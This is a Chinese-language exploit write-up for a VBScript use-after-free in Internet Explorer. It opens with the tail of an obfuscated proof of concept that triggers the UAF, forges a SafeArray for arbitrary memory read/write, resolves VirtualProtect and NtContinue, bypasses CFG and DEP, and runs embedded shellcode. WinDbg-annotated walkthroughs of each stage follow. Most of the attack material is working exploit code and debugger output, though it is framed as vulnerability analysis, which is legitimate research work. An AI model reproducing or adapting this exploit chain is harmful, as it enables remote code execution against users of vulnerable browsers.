SetMemValue lllll
LeakVBAddr=GetMemValue()
End Function
Function GetBaseByDOSmodeSearch(IllIll)
Dim llIl
llIl=IllIll And &hffff0000
Do While GetUint32(llIl+(&h748+4239-&H176f))<>544106784 Or GetUint32(llIl+(&ha2a+7373-&H268b))<>542330692
llIl=llIl-65536
Loop
GetBaseByDOSmodeSearch=llIl
End Function
Function StrCompWrapper(lIII,llIlIl)
Dim lIIlI,IIIl
lIIlI=""
For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
Next
StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))
End Function
Function GetBaseFromImport(base_address,name_input)
Dim import_rva,nt_header,descriptor,import_dir
Dim IIIIII
nt_header=GetUint32(base_address+(&h3c))
import_rva=GetUint32(base_address+nt_header+&h80)
import_dir=base_address+import_rva
descriptor=0
Do While True
Dim Name
Name=GetUint32(import_dir+descriptor*(&h14)+&hc)
If Name=0 Then
GetBaseFromImport=&hBAAD0000
Exit Function
Else
If StrCompWrapper(base_address+Name,name_input)=0 Then
Exit Do
End If
End If
descriptor=descriptor+1
Loop
IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
End Function
Function GetProcAddr(dll_base,name)
Dim p,export_dir,index
Dim function_rvas,function_names,function_ordin
Dim Illlll
p=GetUint32(dll_base+&h3c)
p=GetUint32(dll_base+p+&h78)
export_dir=dll_base+p
function_rvas=dll_base+GetUint32(export_dir+&h1c)
function_names=dll_base+GetUint32(export_dir+&h20)
function_ordin=dll_base+GetUint32(export_dir+&h24)
index=0
Do While True
Dim lllI
lllI=GetUint32(function_names+index*4)
If StrCompWrapper(dll_base+lllI,name)=0 Then
Exit Do
End If
index=index+1
Loop
Illlll=IllIIl(function_ordin+index*2)
p=GetUint32(function_rvas+Illlll*4)
GetProcAddr=dll_base+p
End Function
Function GetShellcode()
IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc" &lIIII(IIIII("")))
IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
GetShellcode=IIlI
End Function
Function EscapeAddress(ByVal value)
Dim High,Low
High=lIlI((value And &hffff0000)/&h10000,4)
Low=lIlI(value And &hffff,4)
EscapeAddress=Unescape("%u" &Low &"%u" &High)
End Function
Function lIllIl
Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI
IlllI=lIlI(NtContinueAddr,8)
IlIII=Mid(IlllI,1,2)
llllI=Mid(IlllI,3,2)
llIII=Mid(IlllI,5,2)
lIllI=Mid(IlllI,7,2)
IIlI=""
IIlI=IIlI &"%u0000%u" &lIllI &"00"
For IIIl=1 To 3
IIlI=IIlI &"%u" &llllI &llIII
IIlI=IIlI &"%u" &lIllI &IlIII
Next
IIlI=IIlI &"%u" &llllI &llIII
IIlI=IIlI &"%u00" &IlIII
lIllIl=Unescape(IIlI)
End Function
Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg
Dim IIlI
IIlI=String((100334-65536),Unescape("%u4141"))
IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
IIlI=IIlI &EscapeAddress(&h3000)
IIlI=IIlI &EscapeAddress(&h40)
IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8)
IIlI=IIlI &String(6,Unescape("%u4242"))
IIlI=IIlI &lIllIl()
IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
WrapShellcodeWithNtContinueContext=IIlI
End Function
Function ExpandWithVirtualProtect(lIlll)
Dim IIlI
Dim lllllI
lllllI=lIlll+&h23
IIlI=""
IIlI=IIlI &EscapeAddress(lllllI)
IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape("%4141"))
IIlI=IIlI &EscapeAddress(VirtualProtectAddr)
IIlI=IIlI &EscapeAddress(&h1b)
IIlI=IIlI &EscapeAddress(0)
IIlI=IIlI &EscapeAddress(lIlll)
IIlI=IIlI &EscapeAddress(&h23)
IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape("%u4343"))
ExpandWithVirtualProtect=IIlI
End Function
Sub ExecuteShellcode
llll.mem(IlII)=&h4d 'DEP bypass
llll.mem(IlII+8)=0
msgbox(IlII) 'VT replaced
End Sub
Class cla1
Private Sub Class_Terminate()
Set IIIlI(IllI)=lIIl((&h1078+5473-&H25d8))
IllI=IllI+(&h14b5+2725-&H1f59)
lIIl((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d)
End Sub
End Class
Class cla2
Private Sub Class_Terminate()
Set IllII(IllI)=lIIl((&h15b+3616-&Hf7a))
IllI=IllI+(&h880+542-&Ha9d)
lIIl((&h1f75+342-&H20ca))=(&had3+3461-&H1857)
End Sub
End Class
Class IIIlIl
End Class
Class llIIl
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value
SetProp=0
End Function
End Class
Class IIIlll
Dim mem
Function P0123456789
P0123456789=LenB(mem(IlII+8))
End Function
Function SPP
End Function
End Class
Class lllIIl
Public Default Property Get P
Dim llII
P=174088534690791e-324
For IIIl=(&h7a0+4407-&H18d7) To (&h2eb+1143-&H75c)
IIIlI(IIIl)=(&h2176+711-&H243d)
Next
Set llII=New IIIlll
llII.mem=lIlIIl
For IIIl=(&h1729+3537-&H24fa) To (&h1df5+605-&H204c)
Set IIIlI(IIIl)=llII
Next
End Property
End Class
Class llllII
Public Default Property Get P
Dim llII
P=636598737289582e-328
For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84)
IllII(IIIl)=(&h442+2598-&He68)
Next
Set llII=New IIIlll
llII.mem=lIIIll
For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b)
Set IllII(IIIl)=llII
Next
End Property
End Class
Set llllIl=New lllIIl
Set IlIIII=New llllII
Sub UAF
For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)
Set IIllI(IIIl)=New IIIlIl
Next
For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)
Set IIllI(IIIl)=New llIIl
Next
IllI=0
For IIIl=0 To 6
ReDim lIIl(1)
Set lIIl(1)=New cla1
Erase lIIl
Next
Set llll=New llIIl
IllI=0
For IIIl=0 To 6
ReDim lIIl(1)
Set lIIl(1)=New cla2
Erase lIIl
Next
Set IIIIl=New llIIl
End Sub
Sub InitObjects
llll.SetProp(llllIl)
IIIIl.SetProp(IlIIII)
IlII=IIIIl.mem
End Sub
Sub StartExploit
UAF
InitObjects
vb_adrr=LeakVBAddr()
vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
SetMemValue GetShellcode()
ShellcodeAddr=GetMemValue()+8
SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
lIlll=GetMemValue()+69596
SetMemValue ExpandWithVirtualProtect(lIlll)
llIIll=GetMemValue()
Alert "Executing Shellcode"
ExecuteShellcode
End Sub
StartExploit
</script>
</body>
</html>
可以看到原始的POC在变量名和数据计算中存在大量的混淆，下面我们会对比较关键的函数进行还原。
首先就是分析PoC中的UAF函数：
'申请空间，占位
Sub UAF
Alert "UAF"
For i=0 To 19
Set array(i)=New Foo '占据系统堆碎片
Next
For i=20 To 39
Set array(i)=New cla4 '占据系统堆碎片
Next
spec_int_2=0
For i=0 To 6
ReDim array_a(1)
Set array_a(1)=New Trigger
Erase array_a 'array_b保存了对已经释放的Trigger obj的引用
Next
IsEmpty(array_b) '引用计数为0时为什么没有调用release 完全释放类对象
Set cla4_obj1=New cla4 '同时 cla4_obj1 对它占位
IsEmpty(cla4_obj1)
spec_int_2=0
For i=0 To 6
ReDim array_a(1)
Set array_a(1)=New cla2 'array_c保存了对已经释放的 cla2 obj 的引用
Erase array_a
Next
IsEmpty(array_c)
Set cla4_obj2=New cla4 '同时 cla4_obj2 对它占位
IsEmpty(cla4_obj2)
End Sub
第一次的IsEmpty断点，参数为array_b:
Breakpoint 0 hit
eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001
eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6dd5c206 8bff mov edi,edi
0:005> dd poi(esp+c)
0049ec10 0000600c 00000000 01d811e8 002e1ef0 //2e1efo是array_b的data buffer
0049ec20 02570002 0049df00 00490013 0257cea8
0049ec30 02570002 0049df00 00490001 0257cea8
0049ec40 6dd40002 0257cee4 02570027 0049df00
0049ec50 6dd40002 0257cee4 02570001 0049df00
0049ec60 6dd40002 0257cee4 02570006 0049df00
0049ec70 6dd40002 0257cee4 02570001 0049df00
0049ec80 00000000 00000000 00000000 00000000
0:005> dd 2e1ef0
002e1ef0 08920001 00000010 00000000 0031b348 // 0031b348是array_b数据元素地址
002e1f00 00000007 00000000 1f784f23 88000000
002e1f10 67ef2010 00000003 00000008 00000000
002e1f20 00000000 002d8f40 00000052 80006200
002e1f30 00000004 002c1b30 1f784f25 8800f812
002e1f40 73a8c9c4 00000001 002ba2d0 ffffffff
002e1f50 00000000 00000000 00000000 00000000
002e1f60 02000001 73a8bec4 1f784f2f 80000848
0:005> dd 31b348
0031b348 00000009 00000000 01d82388 00000000 //01d82388是类对象地址
0031b358 6dd40009 01d8238c 01d82388 6dd44211
0031b368 6dd40009 01d8238c 01d82388 6dd44211
0031b378 6dd40009 01d8238c 01d82388 6dd44211
0031b388 6dd40009 01d8238c 01d82388 6dd44211
0031b398 6dd40009 01d8238c 01d82388 6dd44211
0031b3a8 6dd40009 01d8238c 01d82388 6dd44211
0031b3b8 1f7bbbb5 88000000 00000000 00000000
0:005> dd 1d82388
01d82388 6dd400c6 00000000 00000000 00000000 //引用计数为0
01d82398 000001a8 00000000 00000000 01d5b7ac
01d823a8 00000001 002ba02c 00000000 00000000
01d823b8 1f487ea5 80000000 000000cd 00000000
01d823c8 00000000 00000000 00000000 00000000
01d823d8 00000000 00000000 00000000 00000000
01d823e8 00000000 00000000 1f487eac 80000000
01d823f8 000000d4 00000000 00000000 00000000
0:005> du 2ba02c
002ba02c "Trigger"
再运行到第二次IsEmpty断点，此时cla4_obj1占位已经完成：
0:005> g
Breakpoint 0 hit
eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001
eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6dd5c206 8bff mov edi,edi
0:005> dd 1d82388
01d82388 6dd41748 00000002 01d593f0 0049ff68 //引用计数变成2
01d82398 000001a8 00000000 00000000 00000000
01d823a8 00000000 002ba02c 00000000 01d82350
01d823b8 1f487ea5 80000000 000000cd 00000000
01d823c8 00000000 00000000 00000000 00000000
01d823d8 00000000 00000000 00000000 00000000
01d823e8 00000000 00000000 1f487eac 80000000
01d823f8 000000d4 00000000 00000000 00000000
0:005> du 2ba02c
002ba02c "cla4" //同样的地址cla4_obj1已经占位
第三次IsEmpty断点，参数为array_c:
0:005> g
Breakpoint 0 hit
eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001
eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6dd5c206 8bff mov edi,edi
0:005> dd poi(esp+c)
0049ec10 0000600c 00000000 01d81228 002e1e00 //002e1e00是array_c的data buffer
0049ec20 02570002 0049df00 00490013 0257cea8
0049ec30 02570002 0049df00 00490001 0257cea8
0049ec40 6dd40002 0257cee4 02570027 0049df00
0049ec50 6dd40002 0257cee4 02570001 0049df00
0049ec60 6dd40002 0257cee4 02570006 0049df00
0049ec70 6dd40002 0257cee4 02570001 0049df00
0049ec80 6dd40002 0257cee4 02570006 0049df00
0:005> dd 2e1e00 //0031b3c0是array_c数据元素地址
002e1e00 08920001 00000010 00000000 0031b3c0
002e1e10 00000007 00000000 1f784f01 88000400
002e1e20 682fbdc8 00000000 67f95d74 002c66b8
002e1e30 67f95b60 00000000 00000000 00000000
002e1e40 03000004 00000000 1f784f0b 8c006f00
002e1e50 67f73928 00000001 00000008 00000000
002e1e60 00000000 002c1b30 00326c70 00000000
002e1e70 00000000 67f8e200 1f784f0d 88006000
0:005> dd 31b3c0
0031b3c0 6dd40009 01d8238c 01d823c0 6dd44211 //01d823c0是类对象地址
0031b3d0 6dd40009 01d823c4 01d823c0 6dd44211
0031b3e0 6dd40009 01d823c4 01d823c0 6dd44211
0031b3f0 6dd40009 01d823c4 01d823c0 6dd44211
0031b400 6dd40009 01d823c4 01d823c0 6dd44211
0031b410 6dd40009 01d823c4 01d823c0 6dd44211
0031b420 6dd40009 01d823c4 01d823c0 6dd44211
0031b430 1f7bbb44 80000000 00000098 00690066
0:005> dd 1d823c0
01d823c0 6dd400cd 00000000 00000000 00000000
01d823d0 000001a8 00000000 00000000 01d5b9dc
01d823e0 00000001 00321784 00000000 00000000
01d823f0 1f487eac 80000000 000000d4 00000000
01d82400 00000000 00000000 00000000 00000000
01d82410 00000000 00000000 00000000 00000000
01d82420 00000000 00000000 1f487e57 80000000
01d82430 000000db 00000000 00000000 00000000
0:005> du 321784
00321784 "cla2"
第四次IsEmpty断点，此时MyClass2_obj2占位已经完成：
此时仍然查看1d82388：
0:005> g
Breakpoint 0 hit
eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001
eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6dd5c206 8bff mov edi,edi
0:005> dd 1d823c0
01d823c0 6dd41748 00000002 01d59510 0049ff68 //引用计数为2
01d823d0 000001a8 00000000 00000000 00000000
01d823e0 00000000 00321784 00000000 01d82388
01d823f0 1f487eac 80000000 000000d4 00000000
01d82400 00000000 00000000 00000000 00000000
01d82410 00000000 00000000 00000000 00000000
01d82420 00000000 00000000 1f487e57 80000000
01d82430 000000db 00000000 00000000 00000000
0:005> du 321784
00321784 "cla4" //同样的地址cla4_obj2已经占位
以上就是PoC中的UAF函数所做的事情，接下来来看InitObjects函数。
同样还是再代码里加上了IsEmpty便于调试：
Sub InitObjects
'Alert "InitObjects"
IsEmpty(cla4_obj1)
cla4_obj1.SetProp(cla6_obj1) '会调用class6的Get P,完成了string--->array的类型转换
IsEmpty(cla4_obj1)
IsEmpty(cla4_obj2)
cla4_obj2.SetProp(cla7_obj1) '会调用class7的Get P,完成了string--->long的类型转换
IsEmpty(cla4_obj2)
'Alert "InitObjects2"
spec_int_1=cla4_obj2.mem '这句将上面指向0000的那个字符串的指针泄露给了spec_int_1
IsEmpty(spec_int_1)
End Sub
在执行前我们先来回顾一下cla4_obj1的地址：
0:005> dd 1d82388
01d82388 6dd41748 00000002 01d593f0 0049ff68 //cla4_obj1.mem的地址
01d82398 000001a8 00000000 00000000 00000000
01d823a8 00000000 002ba02c 00000000 01d82350
01d823b8 1f487ea5 80000000 000000cd 00000000
01d823c8 00000000 00000000 00000000 00000000
01d823d8 00000000 00000000 00000000 00000000
01d823e8 00000000 00000000 1f487eac 80000000
01d823f8 000000d4 00000000 00000000 00000000
0:005> du 2ba02c
002ba02c “cla4” //同样的地址cla4_obj1已经占位
在执行到cla4_obj1.SetProp(cla6_obj1)这里的时候，会去调用cla4的SetProp函数：
Class cla4
Dim mem
Function P
End Function
Function SetProp(Value)
IsEmpty("enter cla4:SetPro")
mem=0
mem=Value '这一步会调用cla6的Get P
SetProp=0
End Function
End Class
在Get P中实现了又一次的占位与一次类型的替换：
Class cla6
Public Default Property Get P 'Property Get 语句 用来取得（返回）的值
IsEmpty("cal6:call Get P")
Dim cla5_obj1
'CDbl是转换成双精度浮点数据类型
'dd 00000005 00000000 00000000 0000200C
P=CDbl("174088534690791e-324") '对cla4_mem赋值，把string改为array类型
For i=0 To 6 'array_b原本保存了Trigger的引用，而Trigger被释放后是由
array_b(i)=0 'cla4_obj1占位的。array_b赋值为0，也就是将cla4_obj1的内存释放了
Next
IsEmpty("finish set array_b to 0")
Set cla5_obj1=New cla5 '再次使用悬垂指针重新用cla5_obj1占位，
cla5_obj1.mem=str_1 '并对cla5.mem赋值伪造的字符串 7fffffff的safearray，
IsEmpty(cla5_obj1)
For i=0 To 6
Set array_b(i)=cla5_obj1
Next
End Property
End Class
重新调试了一遍，现在cla4_obj1地址为25010b8，cla4_obj2地址为25010f0。
现在进入cla6 Get P中的第一个IsEmpty：
vbscript!VbsIsEmpty:
6f39c206 8bff mov edi,edi
0:005> dd poi(esp+c)
0015eed8 00000008 00000000 024f54a0 00000000
0015eee8 00000000 00000000 00000000 00000000
0015eef8 00000000 00000000 00000000 00000000
0015ef08 00000000 00000000 00000000 00000000
0015ef18 00000000 00000000 00000000 00000000
0015ef28 00000000 00000000 00000000 00000000
0015ef38 6f380000 025010f4 0015fdf8 6f384211
0015ef48 024cc260 0015ef68 025010f0 6f384211
0:005> du 024f54a0
024f54a0 "cal6:call Get P"
再进入第二个IsEmpty：
vbscript!VbsIsEmpty:
6f39c206 8bff mov edi,edi
0:005> dd poi(esp+c)
0015eed8 024c0008 024cbf68 024f54fc 0000200c
0015eee8 024c0002 0015cfd8 02500006 024cbf94
0015eef8 024c0002 0015cfd8 02500001 024cbf94
0015ef08 00000000 00000000 00000000 00000000
0015ef18 00000000 00000000 00000000 00000000
0015ef28 00000000 00000000 00000000 00000000
0015ef38 024c0005 024cbf68 00000000 0000200c
0015ef48 024cc260 0015ef68 025010f0 6f384211
0:005> du 024f54fc
024f54fc "finish set array_b to 0"
现在再来看一下cla4_obj1的占位：
0:005> dd 25010b8
025010b8 6f3800d4 00000000 00000000 00000000
025010c8 00000490 00000000 00000000 00000000
025010d8 00000000 005b34dc 00000000 00000000
025010e8 67b123d5 88000000 6f381748 00000001
025010f8 024d8510 0015e698 00000490 00000000
02501108 00000000 00000000 00000000 005a55b4
02501118 00000000 02501080 67b123ec 8c000000
02501128 6f38ce78 6f393100 6f3930f0 00000002
可以看到原来占位的cla4_obj1内存被释放掉了。
0:005> !heap -p -a 25010b8
address 025010b8 found in
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
025010b0 0007 0000 [00] 025010b8 00030 - (free)
可以看到处于释放状态。
第三次断点，此时再次进行占位，使用的是cla5_obj1：
//源码
Set cla5_obj1=New cla5 '再次使用悬垂指针重新用cla5_obj1占位，
cla5_obj1.mem=str_1
IsEmpty(cla5_obj1)
‘这个str1是一个全局变量，
‘str_1=Unescape(“%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000”)
调试可以发现前面被free的地址又被占位了：
0:005> dd 25010b8
025010b8 6f381748 00000002 024d83f0 0015e698//24d83f0是cla5.mem的地址
025010c8 00000490 00000000 00000000 00000000
025010d8 00000000 005b34dc 00000000 025010f0
025010e8 67b123d5 88000000 6f381748 00000001
025010f8 024d8510 0015e698 00000490 00000000
02501108 00000000 00000000 00000000 005a55b4
02501118 025010b8 02501080 67b123ec 8c000000
02501128 6f38ce78 6f393100 6f3930f0 00000002
0:005> du 5b34dc
005b34dc "cla5"
我们再来看一下cla5.mem：
0:005> dd 024d83f0
024d83f0 024da7a8 000000b8 00000100 00000100
024d8400 00004000 024da7ac 024da84c 02502c70
024d8410 0000000f 00000003 00000040 00000003
024d8420 00000014 024d8428 024da7ac 024da7f4
024d8430 024da82c 00750025 00300030 00300030
024d8440 00750025 00300030 00300030 00750025
024d8450 00300030 00300030 00000000 024d8784
024d8460 00010044 70e47cd6 00000000 00000000
0:005> dd 024da82c
024da82c 024d0008 024d87dc 005b34b4 00000000//0x08是类型，代表的vbstring,后面会把这个类型改为safearray即0x200c
024da83c 00000000 00000000 0000822f 00000006
024da84c 00000000 00000000 00000003 000005f8
024da85c 0065006d 0000006d 024da838 00000012
024da86c 00000000 000005d0 000005f8 00000000
024da87c 024da7b4 024da84c 0000002b 00000000
024da88c 000005cb 0000060b 00000000 024da718
024da89c 024da914 00000002 00000000 000005fa
//看伪造的这个类似于数组的字符串，它的元素有7fffffff个,每个元素占一字节，元素内存地址为0，那它能访问的内存空间是0-0x7fffffff
//如果现在类型变为safearray，就能够实现全址读写
//str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
0:005> dd 005b34b4
005b34b4 08800001 00000001 00000000 00000000
005b34c4 7fffffff 00000000 6f380000 67e6a972
005b34d4 88000000 00000008 006c0063 00350061
005b34e4 00650000 00000072 00000000 00000000
005b34f4 00000000 67e6a977 8c000000 00000001
005b3504 00000000 00000000 7fffffff 7fffffff
005b3514 80000001 80000001 00000000 67e6a94c
005b3524 88000000 00000000 00000000 0075006f
在Get P 执行完成后，P作为返回值返回给cla4.mem成员变量中，我们再来看一下P：
//源码中;
P=174088534690791e-324 //优化后这样的：
P=CDbl(“174088534690791e-324”) //CDbl是vbs中把表达式转化为双精度类型的一个函数
174088534690791 e-324 是174088534690791的-324平方
用c语言计算为:printf(“%I64x\n”,174088534690791e-324);
为，200c00000000,
由它是vbDouble类型，前面会有一个0x05的标志，
最终在内存中P的值为：00000005 00000000 00000000 0000200C
这样就把0x08改为了0x200c。
调试看一下：
vbscript!VbsIsEmpty:
6f39c206 8bff mov edi,edi
0:005> dd 024da82c
024da82c 0000200c 024d87dc 005b34b4 00000000
024da83c 00000000 00000000 0000822f 00000006
024da84c 00000000 00000000 00000003 000005f8
024da85c 0065006d 0000006d 024da838 00000012
024da86c 00000000 000005d0 000005f8 00000000
024da87c 024da7b4 024da84c 0000002b 00000000
024da88c 000005cb 0000060b 00000000 024da718
024da89c 024da914 00000002 00000000 000005fa
0:005> dd 024da82c-c
024da820 024c0005 024cbf68 00000000 0000200c
024da830 024d87dc 005b34b4 00000000 00000000
024da840 00000000 0000822f 00000006 00000000
024da850 00000000 00000003 000005f8 0065006d
024da860 0000006d 024da838 00000012 00000000
024da870 000005d0 000005f8 00000000 024da7b4
024da880 024da84c 0000002b 00000000 000005cb
024da890 0000060b 00000000 024da718 024da914
//为什么是从mem地址-c开始的，，这个-c的位置，是原来没有被释放的时候的cla4_obj1.mem的地址，//就是P修改的是释放前的mem的地址，释放前与占位后的mem相差0x0C字节，//00000005
00000000 00000000 0000200C这个数，刚好从0c的位置写入了0x200c
最终实现了
vbstring—>safearray的类型转换，cla5.mem最终拿到任意地址读写权限，在InitObjects函数中的cla4_obj2.SetProp(cla7_obj1)使用了同样的方法，这里就不一一调试了。最后还有泄露字符串指针的关键代码：
//源码
Alert “InitObjects2”
spec_int_1=cla4_obj2.mem ‘这句将上面指向0000的那个字符串的指针泄露给了spec_int_1
IsEmpty(spec_int_1)
其实在上面就已经利用vbscript的漏洞实现了全地址读写，下面就是利用上面产生的对象实行PoC地址的泄露以及shellcode的构造和执行。
先来对PoC中的地址进行泄露：
//此函数泄露 CScriptEntryPoint 对象的虚函数表地址，该地址属于Vbscript.dll。
Function LeakVBAddr
On Error Resume Next '忽略错误，执行下一条代码
Dim emptySub_addr_placeholder '构造一个类型为null 的 CScriptEntryPoint 对象
emptySub_addr_placeholder=EmptySub
emptySub_addr_placeholder=null
IsEmpty(emptySub_addr_placeholder) '此断点可以查看此 CScriptEntryPointObject 地址
SetMemValue emptySub_addr_placeholder '这种传参数不用括号也是可以的
LeakVBAddr=GetMemValue()
End Function
这个时候也可以在LeakVBAddr函数中IsEmpty的断点查看emptySub_addr_placeholder：
0:005> dd poi(esp+c)
0055fe58 00000001 000007ff 0055e030 cf0000cf //这个对象地址下一步会保存在指向空字符串+8的地方
0055fe68 00000001 000007ff 0055e030 cf0000cf
0055fe78 00000000 00000000 02021598 00000000
0055fe88 024bd3d8 0055fea8 020217a0 00000000
0:005> ln poi(0055e030) //发现它是一个CScriptEntryPoint对象，
(6a5b4934) vbscript!CScriptEntryPoint::`vftable' | (6a5cab54) vbscript!CEntryPointDispatch::`vftable'
Exact matches:
vbscript!CScriptEntryPoint::`vftable` = <no type information>
我们再来看一下代码是如何产生一个CScriptEntryPoint对象的：
On Error Resume Next //首先它定义了忽略错误
Dim emptySub_addr_placeholder //定义一个变量
emptySub_addr_placeholder =EmptySub //将函数指针赋值给一个变量，VBS语法是不允许这样的，但是其上面忽略了错误，最终这个函数指针的值仍然被赋值给了变量
emptySub_addr_placeholder=null //然后将该值的类型设置为null，最终，变量里面仍然保存着一个函数指针，但是类型为null
进入SetMemValue函数，要记住上面在InitObjects函数的最后spec_int_1中保存的就是那个0字符串的地址：
//源码
Sub SetMemValue(ByRef Ili)
cla4_obj1.mem(spec_int_1+8)=Ili '将CScriptEntryPoint对象放到spec_int_1+8的位置
IsEmpty("SetMemValue Finish")
End Sub
对于这样的修改是因为cla4_obj1.mem已经是一个可以全地址读写的array了，这里一样通过IsEmpty进行下断：
//调试
Breakpoint 3 hit
eax=6a5b185c ebx=024bcea0 ecx=6a60a9d8 edx=024bce18 esi=02016a68 edi=00000001
eip=6a5cc206 esp=024bcd34 ebp=024bcd44 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:6a5cc206 8bff mov edi,edi
//这个地址就是上面的指向空字符的地址：
0:005> dd 003f9dd4003f9dd4 00000000 00000000 00000001 000007ff //从+8的位置保存的便是CScriptEntryPoint对象,这个0x01是vbNull(可查询上方表格)
003f9de4 0055e030 cf0000cf 003f93a4 4b92935b
003f9df4 8c000000 00000001 00000000 00000000
003f9e04 7fffffff 7fffffff 80000001 80000001
003f9e14 00000000 4b929326 88000000 00000000
003f9e24 006e0000 00740069 0062004f 0065006a
003f9e34 00740063 00000073 003f9e4c 4b92932d
003f9e44 88000000 00000018 006e0049 00740069
之后就是进入GetMemValue函数：
//源码Function GetMemValue
cla4_obj1.mem(spec_int_1)= 3 '将CScriptEntryPoint对象 的类型改为3 即为Long
IsEmpty("GetMemValue Finish")
GetMemValue=cla4_obj1.mem(spec_int_1+ 8)End Function
整个过程的效果就是在GetMemValue=cla4_obj1.mem(spec_int_1+
8)这一步把0055e030的值给了GetMemValue，GetMemValue赋值给了LeakVBAddr
，以上整个LeakVBAddr函数过程得到了vbLong型的CScriptEntryPoint对象地址。
接下来的一些过程其实也是一些关键地址的获取，这里重点通过原始POC分析代码的运行逻辑，先来讲一下PoC中的GetUint32函数：
//函数参数为对象地址，然后该函数返回的是这个对象的虚函数表地址
Function GetUint32(addr)
Dim value
IsEmpty("enter GetUint32")
cla4_obj1.mem(spec_int_1+8)=addr+4 '原本存放CScriptEntryPoint对象的位置 存放 该对象地址+4
IsEmpty("spec_int_1+8")
cla4_obj1.mem(spec_int_1)=8 '改为字符串 type string
IsEmpty("type string")
value=cla4_obj1.P0123456789
IsEmpty(value)
cla4_obj1.mem(spec_int_1)=2 '改为 整型 type vbInteger
IsEmpty("type vbInteger")
GetUint32=value
End Function
从之前我们已经分析过了Class
cla5，那么我们就可以知道value=cla4_obj1.P0123456789这一步最终返回的是CScriptEntryPoint类对象的虚函数表地址。整个函数就是为了得到VBScript.dll中的CScriptEntryPoint对象虚函数表。
再来看获取VBScript.dll基地址的函数：
Function FindMzBase(vtable_address)
Dim base
base=vtable_address And &hffff0000 '64k对齐，得到vbscript.dll 基地址
Alert "FindMzBase "
IsEmpty(base)
Do While GetUint32(base+&h68)<>&h206E6920 Or GetUint32(base+&h6c)<>&h20534F44
base=base-&h10000
Loop
IsEmpty(base)
FindMzBase=base
End Function
最后就是获取其余的dll以及函数地址：
VBScript.dll导入了msvcrt.dll，msvcrt.dll又导入了kernelbase.dll与ntdll.dll，遍历它们的导入表最终可以从kernelbase.dll中获取到VirtualProtect函数地址，从ntdll.dll中获取NtContinue函数地址，具体的来看一下POC：
'首先得到VBScript地址，其传入的是CScriptEntryPoint虚函数表对象地址
vbs_base=FindMzBase(GetUint32(vb_adrr))
